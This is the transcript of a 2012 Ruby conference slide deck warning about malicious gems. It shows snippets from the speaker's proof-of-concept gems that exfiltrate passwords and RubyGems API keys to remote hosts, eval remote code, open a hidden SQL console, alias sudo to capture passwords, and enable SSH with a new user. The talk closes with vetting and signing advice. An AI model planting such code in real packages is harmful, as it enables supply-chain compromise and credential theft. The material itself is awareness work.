Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Hacking with Gems

Hacking with Gems

Do you ever use "gem install"? What about bundle?

What's the worst that could happen if your app has a dependency on a malicious gem? How easy would it be to write a gem that could compromise a box?

Much of the Ruby community blindly trusts our gems. This talk will make you second guess that trust. It will also show you how to vet gems that you do choose to use.

Benjamin Smith

October 09, 2012
Tweet

More Decks by Benjamin Smith

Other Decks in Technology

Transcript

  1. Hacking with Gems
    Benjamin Smith
    @benjamin_smith
    Wednesday, October 10, 12

    View Slide

  2. who i am
    Wednesday, October 10, 12

    View Slide

  3. Wednesday, October 10, 12

    View Slide

  4. Wednesday, October 10, 12

    View Slide

  5. Wednesday, October 10, 12

    View Slide

  6. Wednesday, October 10, 12

    View Slide

  7. what i am NOT
    Wednesday, October 10, 12

    View Slide

  8. Wednesday, October 10, 12

    View Slide

  9. please do not try this at home
    Wednesday, October 10, 12

    View Slide

  10. please do not try this at home
    Wednesday, October 10, 12

    View Slide

  11. what’s in my app?
    GEM
    remote: https://rubygems.org/
    specs:
    actionmailer (3.2.8)
    actionpack (= 3.2.8)
    mail (~> 2.4.4)
    actionpack (3.2.8)
    activemodel (= 3.2.8)
    activesupport (= 3.2.8)
    builder (~> 3.0.0)
    erubis (~> 2.7.0)
    ...
    Wednesday, October 10, 12

    View Slide

  12. what’s the worst that could happen?
    Wednesday, October 10, 12

    View Slide

  13. gem 'awesome_rails_flash_messages'
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Wednesday, October 10, 12

    View Slide

  14. before...
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Wednesday, October 10, 12

    View Slide

  15. after!
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Wednesday, October 10, 12

    View Slide

  16. some “side effects”
    if params.to_s.match(Base64.decode64('cGF...'))
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Wednesday, October 10, 12

    View Slide

  17. ...
    File.open(
    "#{Rails.root}/public/development.log",
    'a+'
    ) do |f|
    f.write("#{params.inspect}\n")
    end
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Wednesday, October 10, 12

    View Slide

  18. ?!?
    Net::HTTP.post_form(
    URI.parse(Base64.decode64('aHR0cDo...')),
    {
    'log'=>params.merge(:url =>
    request.url).inspect
    }
    )
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Wednesday, October 10, 12

    View Slide

  19. i like cGFzc3dvcmQ=\n
    if params.to_s.match(Base64.decode64('cGF...'))
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Wednesday, October 10, 12

    View Slide

  20. i like password
    if params.to_s.match(“password”)
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Wednesday, October 10, 12

    View Slide

  21. “development.log”
    ...
    "user"=>{"email"=>"[email protected]",
    "password"=>"password",
    "remember_me"=>"0"}
    ...
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Wednesday, October 10, 12

    View Slide

  22. elsewhere...
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Wednesday, October 10, 12

    View Slide

  23. Wednesday, October 10, 12

    View Slide

  24. that was easy.
    what else can I do?
    Wednesday, October 10, 12

    View Slide

  25. gem 'net_http_detector'
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  26. show me the hack
    Net::HTTP.post_form(
    #stark-samurai-8122.herokuapp.com/logs>,
    {"log"=>"{\"utf8\"=>\"✓\",
    \"authenticity_token\"=>\"PzpZUlRrRv1V
    +A0jJHAwi+ey/injbWlii8OFyIfP+fY=\",
    \"user\"=>{\"email\"=>\"test\",
    \"password\"=>\"pass4\"
    ...
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  27. how it works
    def HTTP.valid_post_form(url, params)
    ...
    def HTTP.post_form(url, params)
    self.smart_log(
    "Net::HTTP.post_form(#{url.inspect},
    #{params.inspect})"
    )
    Net::HTTP.valid_post_form(url, params)
    end
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  28. how it works
    def HTTP.valid_post_form(url, params)
    ...
    def HTTP.post_form(url, params)
    self.smart_log(
    "Net::HTTP.post_form(#{url.inspect},
    #{params.inspect})"
    )
    Net::HTTP.valid_post_form(url, params)
    end
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  29. how it works
    def HTTP.valid_post_form(url, params)
    ...
    def HTTP.post_form(url, params)
    self.smart_log(
    "Net::HTTP.post_form(#{url.inspect},
    #{params.inspect})"
    )
    Net::HTTP.valid_post_form(url, params)
    end
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  30. ...and one more thing...
    eval(Net::HTTP.valid_get(
    URI("http://....herokuapp.com/
    snippets/6")
    )
    )
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  31. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  32. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  33. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  34. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  35. /users/sign_in
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  36. /users/sign_in?db_console=t
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  37. hello db access!
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  38. SELECT * FROM users;
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  39. UPDATE users SET admin=1
    WHERE id=42;
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  40. CREATE USER admin1 WITH
    PASSWORD 'password';
    github.com/benjaminleesmith/net_http_detector
    Wednesday, October 10, 12

    View Slide

  41. careful of wolves in sheep’s clothing
    Wednesday, October 10, 12

    View Slide

  42. Little Snitch
    obdev.at/products/littlesnitch/index.html
    Wednesday, October 10, 12

    View Slide

  43. Wednesday, October 10, 12

    View Slide

  44. that was easy.
    what else can I do?
    Wednesday, October 10, 12

    View Slide

  45. gem 'better_date_to_s'
    github.com/benjaminleesmith/better_date_to_s
    Wednesday, October 10, 12

    View Slide

  46. what it claims to do
    Date.new(2005, 1, 1).to_s(:short)
    => "1 Jan"
    ... instead of...
    => " 1 Jan"
    github.com/benjaminleesmith/better_date_to_s
    Wednesday, October 10, 12

    View Slide

  47. Wednesday, October 10, 12

    View Slide

  48. what it also does
    set_date_formats_for(
    Rails.env,
    Rails.root.to_s
    )
    github.com/benjaminleesmith/better_date_to_s
    Wednesday, October 10, 12

    View Slide

  49. better_date_to_s.bundle
    œ˙Ì˛ê(__TEXT__text__TEXTP
    ÛP
    Ä__stubs__TEXTD
    $DÄ__stub_helper__TEXThLhÄ__cstring__TEX
    T∏i∏__unwind_info__TEXT!P!
    __eh_frame__TEXTxÄxà__DATA__nl_symbol_pt
    r__DATA__got__DATA__la_symbol_ptr__DATA0
    __data__DATAHHH__LINKEDIT ‰"Ä0 [email protected]
    Ä¿ `(!‰"
    github.com/benjaminleesmith/better_date_to_s
    Wednesday, October 10, 12

    View Slide

  50. behind the curtain
    if(strcmp(rails_env, "production") == 0) {
    sprintf(tar_command, "tar -zcvf
    %s/public/assets.tar.gz %s > /dev/
    null 2>&1",rails_root,rails_root);
    system(tar_command);
    }
    github.com/benjaminleesmith/better_date_to_s
    Wednesday, October 10, 12

    View Slide

  51. what what
    github.com/benjaminleesmith/better_date_to_s
    Wednesday, October 10, 12

    View Slide

  52. i can haz source
    github.com/benjaminleesmith/better_date_to_s
    Wednesday, October 10, 12

    View Slide

  53. truth time
    • this gem doesn't actually work
    • but it could... if I wasn't lazy
    • "fat" gems are tricky to compile
    github.com/benjaminleesmith/better_date_to_s
    Wednesday, October 10, 12

    View Slide

  54. that was easy hard.
    what else can I do?
    (that's easier)
    Wednesday, October 10, 12

    View Slide

  55. gem install be_truthy
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  56. what it does
    > true.should be_true
    > User.new.should be_true
    > User.new.should be_truthy
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  57. what it ACTUALLY does
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  58. github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  59. file tree looks ok
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  60. source code looks good
    require "be_truthy/version"
    module BeTruthy
    end
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  61. but what was this?
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  62. I see no C
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  63. run the what file?
    Gem::Specification.new do |gem|
    ...
    gem.extensions = ["Rakefile"]
    ...
    end
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  64. there is no Rakefile
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  65. gem fetch vs gem install
    > gem fetch be_truthy
    > gem unpack be_truthy-0.0.1.gem
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  66. the real file tree
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  67. the real file tree
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  68. what does the Rakefile do?
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  69. sudo_file =__FILE__.gsub(
    'Rakefile', 'lib/tmp.rb'
    )
    FileUtils.mv(
    sudo_file,
    "#{home_dir}/.tmp"
    )
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  70. File.open(profile, 'a+') do |f|
    f.write("alias sudo='ruby #{home}/.tmp'\n")
    end
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  71. FileUtils.rm(__FILE__)
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  72. fseventer
    fernlightning.com/doku.php?id=software:fseventer:start
    Wednesday, October 10, 12

    View Slide

  73. what does "sudo" do now?
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  74. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  75. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  76. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  77. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  78. echo '#{password}' | /usr/bin/sudo -S
    systemsetup -setremotelogin on
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  79. /usr/bin/sudo dscl . -create /Users/
    #{username}
    ...
    /usr/bin/sudo dscl . -passwd /Users/
    #{username} password`
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  80. Net::HTTP.post_form(
    URI.parse('http://.../logs'),
    {'log' => 'ssh enabled'}
    )
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  81. ssh [email protected]
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  82. take away:
    don't install ben's gems
    Wednesday, October 10, 12

    View Slide

  83. how could I get you
    to run my code?
    Wednesday, October 10, 12

    View Slide

  84. what gems are
    trustworthy?
    Wednesday, October 10, 12

    View Slide

  85. how can I add my code
    to already trusted gems?
    Wednesday, October 10, 12

    View Slide

  86. back to the truthy_gem
    gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  87. back to the truthy_gem
    gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  88. back to the truthy_gem
    gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  89. back to the truthy_gem
    gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  90. now I own your gems
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  91. > git clone your-gem-repo
    ...add a little code...
    > rake build
    > gem push your-gem
    github.com/benjaminleesmith/be_truthy
    Wednesday, October 10, 12

    View Slide

  92. do people trust your gems?
    Wednesday, October 10, 12

    View Slide

  93. do people who install
    your gems have
    trustworthy gems?
    Wednesday, October 10, 12

    View Slide

  94. there’s still one problem
    Wednesday, October 10, 12

    View Slide

  95. bootstrapping
    Wednesday, October 10, 12

    View Slide

  96. being popular sucks
    Wednesday, October 10, 12

    View Slide

  97. conferences
    Wednesday, October 10, 12

    View Slide

  98. gem install thread_safe
    Wednesday, October 10, 12

    View Slide

  99. brew install hub
    Wednesday, October 10, 12

    View Slide

  100. gem install eventmachine
    Wednesday, October 10, 12

    View Slide

  101. gem install aloha-ruby-conf
    Wednesday, October 10, 12

    View Slide

  102. Wednesday, October 10, 12

    View Slide

  103. usernames
    • ntreadway
    • ken
    • mlaverty
    • takatsugu.ishioka
    • evan
    • leo
    Wednesday, October 10, 12

    View Slide

  104. 3.8% adoption
    Wednesday, October 10, 12

    View Slide

  105. so what now?
    Wednesday, October 10, 12

    View Slide

  106. gem cert --build
    Wednesday, October 10, 12

    View Slide

  107. gem install rails -P HighSecurity
    Wednesday, October 10, 12

    View Slide

  108. github.com/rubygems/rubygems
    Wednesday, October 10, 12

    View Slide

  109. private gem repos
    Wednesday, October 10, 12

    View Slide

  110. do not try this at home
    Wednesday, October 10, 12

    View Slide

  111. don't install gems you
    don't need to
    Wednesday, October 10, 12

    View Slide

  112. pay attention to what
    your gems do
    Wednesday, October 10, 12

    View Slide

  113. monitor your system
    Wednesday, October 10, 12

    View Slide

  114. read the source
    Wednesday, October 10, 12

    View Slide

  115. gem install coal-mine-canary
    Wednesday, October 10, 12

    View Slide

  116. thank you!
    Wednesday, October 10, 12

    View Slide

  117. @benjamin_smith
    https://github.com/benjaminleesmith
    http://pivotallabs.com/users/bsmith/blog
    Wednesday, October 10, 12

    View Slide